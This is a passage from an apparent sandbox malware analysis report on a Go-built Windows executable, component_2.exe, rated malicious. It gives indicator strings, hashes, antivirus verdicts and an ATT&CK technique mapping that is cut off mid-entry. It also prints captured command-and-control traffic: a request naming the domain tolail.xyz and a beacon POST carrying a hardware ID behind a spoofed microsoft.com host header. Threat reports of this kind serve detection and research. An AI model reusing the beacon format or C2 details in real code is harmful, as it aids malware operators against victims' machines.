"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found string "internal/chacha8rand.(*State).Reseed" (Indicator: "chacha"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found string "internal/chacha8rand.(*State).Next" (Indicator: "chacha"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found string "internal/chacha8rand.block" (Indicator: "chacha"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found string "type:.eq.internal/chacha8rand.State" (Indicator: "chacha"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found string "runtime.initAlgAES" (Indicator: "aes"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found string "aeshashbody" (Indicator: "aes"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found string "internal/chacha8rand/chacha8.go" (Indicator: "chacha"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found string "internal/chacha8rand/chacha8_amd64.s" (Indicator: "chacha"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found string "runtime.useAeshash" (Indicator: "aes"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found string "runtime.aeskeysched" (Indicator: "aes"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin")34:T54b,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "Module32Next"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "Process32Next"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "Process32First"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "Module32First"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "GetModuleHandle"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "GetCurrentProcess"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "GetEnvironmentStrings"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin")35:T84c,Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "GetTempPath"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "GetFileAttributes"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "GetCurrentDirectory"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "ReadDirectoryChange"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "QueryInformationFile"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "GetFileInformationByHandle"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found reference to API "internal/syscall/windows.NtQueryInformationFile" (Indicator: "QueryInformationFile"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found reference to API "internal/syscall/windows.ErrorLoadingGetTempPath2" (Indicator: "GetTempPath"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found reference to API "os.useGetTempPath2" (Indicator: "GetTempPath"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found reference to API "internal/syscall/windows.procGetTempPath2W" (Indicator: "GetTempPath"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found reference to API "internal/syscall/windows.procNtQueryInformationFile" (Indicator: "QueryInformationFile"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin")36:T794,file/memory contains long string with (Indicator: "CopySid"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "IsValidSid"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "GetLengthSid"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "RevertToSelf"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "ImpersonateSelf"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "DuplicateToken"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "DuplicateTokenEx"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "GetSidSubAuthority"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "SetTokenInformation"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "GetSidSubAuthorityCount"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "ImpersonateLoggedOnUser"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "GetSidIdentifierAuthority"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin")37:T749," "access_token=&debug=http://tolail.xyz:7538-89" HTTP/1.1 200 OK Server: nginx Date: Sat 04 Jul 2026 04:10:38 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded Host: microsoft.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 89" with payload::==> "tag=6ed07eee8b090ad8c77052912c8a29a6&exp=1782913884&hwid=e606e117485d48d997316a9fba5c156b" HTTP/1.1 200 OK Server: nginx Date: Sat 04 Jul 2026 04:10:38 GMT Content-Type: application/octet-stream Content-Length: 55 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"37-/lILlfJT0zI/cr75YmkkS4X1WqQ" with response body ==>29C3A12713C28DC2821E3EC290C3861622C395C38F7F203F6A7BC396C2BFC2932EC38A17C38533C3A1C2A03DC2AEC2A0C29F65C38111C382C2AE6EC28018C39E.......1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":87,"unified_at_epoch_ms":1791403686414,"unified_at":"2026-10-07T20:08:06.414Z","metadata":{"hashes":{"sha256":"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a","sha1":"5291f0767ba9c4b4810611aceb26bb594ee19779","md5":"7e81a8f28d5cd3b1a247c11b5ae64366","sha512":"65ec3046e0f9b1912e47d4bc5cb652b457c96495b69b18820c029fc41c68997de5dffd03f4442661d57552e9fb3e8135153d81d510b90e731245c219e2b26b56","ssdeep":"24576:vQlw6OELAIq3kUHRNcOmIiUmZ0pLBivHgPVA5lNRtxzBele5rK263xBirP:vQlvjLrqU6RHmIuZWLeHgPm1LgHir","ssdeep_chunks":["24576:vQlw6OE","24576:Qlw6OEL","24576:lw6OELA","24576:w6OELAI","24576:6OELAIq","24576:OELAIq3","24576:ELAIq3k","24576:LAIq3kU","24576:AIq3kUH","24576:Iq3kUHR","24576:q3kUHRN","24576:3kUHRNc","24576:kUHRNcO","24576:UHRNcOm","24576:HRNcOmI","24576:RNcOmIi","24576:NcOmIiU","24576:cOmIiUm","24576:OmIiUmZ","24576:mIiUmZ0","24576:IiUmZ0p","24576:iUmZ0pL","24576:UmZ0pLB","24576:mZ0pLBi","24576:Z0pLBiv","24576:0pLBivH","24576:pLBivHg","24576:LBivHgP","24576:BivHgPV","24576:ivHgPVA","24576:vHgPVA5","24576:HgPVA5l","24576:gPVA5lN","24576:PVA5lNR","24576:VA5lNRt","24576:A5lNRtx","24576:5lNRtxz","24576:lNRtxzB","24576:NRtxzBe","24576:RtxzBel","24576:txzBele","24576:xzBele5","24576:zBele5r","24576:Bele5rK","24576:ele5rK2","24576:le5rK26","24576:e5rK263","24576:5rK263x","24576:rK263xB","24576:K263xBi","24576:263xBir","24576:63xBirP","49152:vQlw6OE","49152:Qlw6OEL","49152:lw6OELA","49152:w6OELAI","49152:6OELAIq","49152:OELAIq3","49152:ELAIq3k","49152:LAIq3kU","49152:AIq3kUH","49152:Iq3kUHR","49152:q3kUHRN","49152:3kUHRNc","49152:kUHRNcO","49152:UHRNcOm","49152:HRNcOmI","49152:RNcOmIi","49152:NcOmIiU","49152:cOmIiUm","49152:OmIiUmZ","49152:mIiUmZ0","49152:IiUmZ0p","49152:iUmZ0pL","49152:UmZ0pLB","49152:mZ0pLBi","49152:Z0pLBiv","49152:0pLBivH","49152:pLBivHg","49152:LBivHgP","49152:BivHgPV","49152:ivHgPVA","49152:vHgPVA5","49152:HgPVA5l","49152:gPVA5lN","49152:PVA5lNR","49152:VA5lNRt","49152:A5lNRtx","49152:5lNRtxz","49152:lNRtxzB","49152:NRtxzBe","49152:RtxzBel","49152:txzBele","49152:xzBele5","49152:zBele5r","49152:Bele5rK","49152:ele5rK2","49152:le5rK26","49152:e5rK263","49152:5rK263x","49152:rK263xB","49152:K263xBi","49152:263xBir","49152:63xBirP","24576:vQlvjLr","24576:QlvjLrq","24576:lvjLrqU","24576:vjLrqU6","24576:jLrqU6R","24576:LrqU6RH","24576:rqU6RHm","24576:qU6RHmI","24576:U6RHmIu","24576:6RHmIuZ","24576:RHmIuZW","24576:HmIuZWL","24576:mIuZWLe","24576:IuZWLeH","24576:uZWLeHg","24576:ZWLeHgP","24576:WLeHgPm","24576:LeHgPm1","24576:eHgPm1L","24576:HgPm1Lg","24576:gPm1LgH","24576:Pm1LgHi","24576:m1LgHir"],"imphash":"d42595b695fc008ef2c56aabd8efd68e"},"file_info":{"file_name":"component_2.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":2158944,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1783138207000,"last_seen":1783138214000,"last_multi_scan":1783138214000}},"detections":{"summary":{"verdict":"malicious","score":87,"tags":["new_domain","malicious"]},"stats":{"av":{"malicious_count":4,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":64},"sandbox_signatures":{"informative_count":130,"suspicious_count":10,"malicious_count":4,"total":144},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W64.Evo","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_70% (D)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of WinGo/Kryptik.UP trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/Loader.uh","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Win/malicious_confidence_70%","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Persistence","technique":"Local Account","attack_id":"T1136.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1136/001","identifiers":[{"type":"informative","value":"Contains ability to create a new user account (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"suspicious","value":"YARA signature match - ChaCha20 encryption algorithm"},{"type":"informative","value":"Possibly references Golang binary related string"},{"type":"informative","value":"Contains CRYPTO related strings"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to modify process attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"suspicious","value":"Queries process mitigation policy via NtQueryInformationProcess"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"malicious","value":"The input sample is signed with an invalid certificate"},{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"The input sample contains the RDTSCP instruction"}],"sources":[{"report_type":"sandbox","report_id":"6a4887a538d63e2e01077b74"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file 